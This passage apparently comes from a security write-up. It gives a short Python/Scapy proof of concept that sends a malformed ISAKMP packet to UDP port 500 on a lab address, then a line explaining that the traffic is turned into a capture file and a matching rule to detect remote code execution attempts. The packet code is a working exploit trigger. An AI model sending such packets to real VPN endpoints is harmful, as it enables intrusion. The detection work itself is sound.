target = ("192.168.159.134", 500)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
pkt = ISAKMP(init_cookie=RandString(8), next_payload=0x84, exch_type=0xf3)
pkt /= ISAKMP_payload(next_payload=0x1, load=b"\x00\x00\x01\x7f")
sock.sendto(raw(pkt), target)Detection
By turning this into a traffic file and matching rule, we are able to detect attempts to perform remote code execution on an affected system.
